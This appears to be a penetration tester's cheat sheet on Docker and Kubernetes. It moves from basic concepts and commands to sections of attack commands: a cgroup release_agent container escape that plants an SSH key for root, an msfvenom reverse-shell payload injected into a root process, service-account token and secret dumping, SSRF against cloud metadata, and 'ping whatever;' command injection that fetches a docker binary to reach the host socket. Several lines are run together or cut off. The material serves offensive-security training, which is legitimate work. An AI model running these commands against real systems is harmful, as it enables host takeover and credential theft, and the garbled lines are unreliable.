Docker Image
Read only file with OS, libraries and apps
Anyone can create a docker image
Images can be stored in Docker hub (default public registry) or private registry
Docker Container
Stateful instance of an image with a writable layer
Contains everything needed to run your application
Based on one or more images
Docker Registry
Repository of images
Docker Hub
Public docker registry
Dockerfile
Configuration file that contains instructions for building a Docker image
Docker-compose file
Configuration file for docker-compose
Docker Swarm
Group of machines that are running Docker and joined into a cluster.
When you run docker commands, they are executed by a swarm manager.
Portainer
Management solution for Docker hosts and Docker Swarm clusters
Via web interface
Docker capabilities
Turn the binary "root/non-root" into a fine-grained access control system.
Processes that just need to bind on a port below 1024 do not have to run as root, they can just be granted the net_bind_service capability instead.
Docker Control Groups
Used to allocate cpu, memory, network bandwith of host to container groups.
Commands
docker search wpscan
docker run ubuntu:latest echo "Welcome to Ubuntu"
docker run --name samplecontainer -it ubuntu:latest /bin/bash
docker ps
docker ps -a
docker images
docker run --name pingcontainer -d alpine:latest ping 127.0.0.1 -c 50
docker logs -f pingcontainer
docker run -d --name nginxalpine -p 7777:80 nginx:alpine
docker exec -it nginxalpine sh
docker inspect (container or image)
docker history jess/htop
docker stop dummynginx
docker rm dummynginx
docker run --rm -it --pid=host jess/htop
docker logs containername docker logs -f containername
docker service logs
docker system events docker events --since '10m' docker events --filter 'image=alpine' docker events --filter 'event=stop'
docker-compose up -d
docker volume ls
docker volume create vol1
docker network ls
docker network create net1
docker run --rm -it --cap-drop=NET_RAW alpine sh
docker run --rm -it 71aa5f3f90dc bash capsh --print
docker run --rm -it --privileged=true 71aa5f3f90dc bash capsh --print
more /dev/kmsg
docker run -d --name='low_priority' --cpuset-cpus=0 --cpu-shares=10 alpine md5sum /dev/urandom docker run -d --name='high_priority' --cpuset-cpus=0 --cpu-shares=50 alpine md5sum /dev/urandom
docker stop low_priority high_priority
docker rm low_priority high_priority
docker swarm init
docker node ls
docker service create --replicas 1 --publish 5555:80 --name nginxservice nginx:alpine
docker service ls
docker service inspect --pretty nginxservice
docker service rm nginxservice
docker swarm leave (--force if only one node)
docker run -d -p 9000:9000 --name portainer
--restart always -v /var/run/docker.sock:/var/run/docker.sock
-v /opt/portainer:/data portainer/portainer
Docker security basics
docker images --digests ubuntu
docker trust inspect mediawiki --pretty
- Look vulns in base image
- Use https://vulners.com/audit to check for docker packages
- Inside any container cat /etc/issue dpkg-query -W -f='${Package} ${Version} ${Architecture}\n'
- Using Trivy https://github.com/aquasecurity/trivy trivy image knqyf263/vuln-image:1.2.3
docker history image:latest
docker volume inspect wordpress_db_data docker network inspect wordpress_default
docker volume inspect whatever cd /var/lib/docker/volumes/whatever
docker diff imagename
https://github.com/genuinetools/amicontained#usage
cd /opt/docker-bench-security sudo bash docker-bench-security.sh Detect inside a docker or running containers
- MAC Address
- Docker uses a range from 02:42:ac:11:00:00 to 02:42:ac:11:ff:ff
- List of running processes (ps aux)
- Small number of processes generally indicate a container
- CGROUPs
- cat /proc/1/cgroup – should show docker process running
- Check for existence of docker.sock (ls -al /var/run/docker.sock)
- Check for container capabilities: capsh –print
- On Pentests, check for tcp ports 2375 and 2376 – Default docker daemon ports Escape NET_ADMIN docker container
ip link add dummy0 type dummy ip link delete dummy0
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/xecho 1 > /tmp/cgrp/x/notify_on_release
host_path=sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab
echo "$host_path/cmd" > /tmp/cgrp/release_agentecho '#!/bin/sh' > /cmd
echo "ps aux >
cat id_dsa.pub >> /root/.ssh/authorized_keys Attack insecure volume mounts
ls -l /var/run/docker.sock
This allows to access the host docker service using host option with docker client by using the UNIX socket
./docker -H unix:///var/run/docker.sock ps ./docker -H unix:///var/run/docker.sock images Attack docker misconfiguration
curl 10.11.1.111:2375/images/json | jq .
docker -H tcp://10.11.1.111:2375 ps docker -H tcp://10.11.1.111:2375 images Audit Docker Runtime and Registries
docker system info
cat /lib/systemd/system/docker.service
docker inspect | grep -i '/var/run/'
ls -l /var/lib/docker/
ls -l /var/run/ ls -l /run/
Docker registry is a distribution system for Docker images. There will be diferent images and each may contain multiple tags and versions. By default the registry runs on port 5000 without authentication and TLS
curl -s http://localhost:5000/v2/_catalog | jq .
curl -s http://localhost:5000/v2/devcode/tags/list | jq .
docker pull localhost:5000/devcode:latest
docker run --rm -it localhost:5000/devcode:latest sh
docker system info
cat ~/.docker/config.json
curl 10.11.1.111:5000/v2/_catalog
curl 10.11.1.111:5000/v2/privatecode/tags/list
vi /lib/systemd/system/docker.service ExecStart=/usr/bin/dockerd -H fd:// --insecure-registry 10.11.1.111:5000
sudo systemctl daemon-reload sudo service docker restart
docker pull 10.11.1.111:5000/privatecode:whatevertag
docker run --rm -it 10.11.1.111:5000/privatecode:golang-developer-team sh cd /app ls -la Attack container capabilities
capsh --print
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f raw -o payload.bin
ps aux | grep root ./injector PID_RUNNING_AS_ROOT payload.bin Tools
Kubernetes Concepts Kubernetes is a security orchestrator
Kubernetes master provides an API to interact with nodes
Each Kubernetes node run kubelet to interact with API and kube-proxy to refect Kubernetes networking services on each node.
Kubernetes objects are abstractions of states of your system.
Pods: collection of container share a network and namespace in the same node.
Services: Group of pods running in the cluster.
Volumes: directory accesible to all containers in a pod. Solves the problem of loose info when container crash and restart.
Namespaces: scope of Kubernetes objects, like a workspace (dev-space).
Commands
kubectl cluster-info
kubectl get nodes kubectl get pods kubectl get services
kubectl run nginxdeployment --image=nginx:alpine
kubectl port-forward 1234:80
kubectl delete pod
kubectl exec -it sh
kubectl logs
kubectl api-resources
kubectl auth can-i create pods
kubectl get secrets -o yaml
kubectl describe pod
kubectl cluster-info dump
CVE-2018-1002105 CVE-2019-5736 CVE-2019-9901 Quick attacks
for res in
curl -k https://<master_ip>: etcdctl –endpoints=http://:2379 get / –prefix –keys-only curl http://:10255/pods #Dump tokens from inside the pod kubectl exec -ti -n cat /run/secrets/kubernetes.io/serviceaccount/token #Dump all tokens from secrets kubectl get secrets -A -o yaml | grep " token:" | sort | uniq > alltokens.txt #Standard query for creds dump: curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:/api/v1/namespaces//secrets/ Attack Private Registry misconfiguration
cat /root/.docker/config.json
docker login -u _json_key -p "$(cat config.json)" https://gcr.io
docker pull gcr.io/training-automation-stuff/backend-source-code:latest
docker run --rm -it gcr.io/training-automation-stuff/backend-source-code:latest
ls -l /var/run/secrets/kubernetes.io/serviceaccount/
printenv Attack Cluster Metadata with SSRF
curl http://169.254.169.254/computeMetadata/v1/ curl http://169.254.169.254/computeMetadata/v1/instance/attributes/kube-env Attack escaping pod volume mounts to access node and host
ping whatever;ls -l /custom/docker/
ping whatever;wget https://download.docker.com/linux/static/stable/x86_64/docker-18.09.1.tgz -O /root/docker-18.09.1.tgz ping whatever;tar -xvzf /root/docker-18.09.1.tgz -C /root/ ping whatever;/root/docker/docker -H unix:///custom/docker/docker.sock ps ping whatever;/root/docker/docker -H unix:///custom/docker/docker.sock images Tools
kubectl apply -f kube-bench-node.yaml kubectl get pods --selector job-name=kube-bench-node kubectl logs kube-bench-podname
kube-hunter --remote some.node.com
./kubeaudit all
kubeletctl scan rce XXXXXXXX
cdk evaluate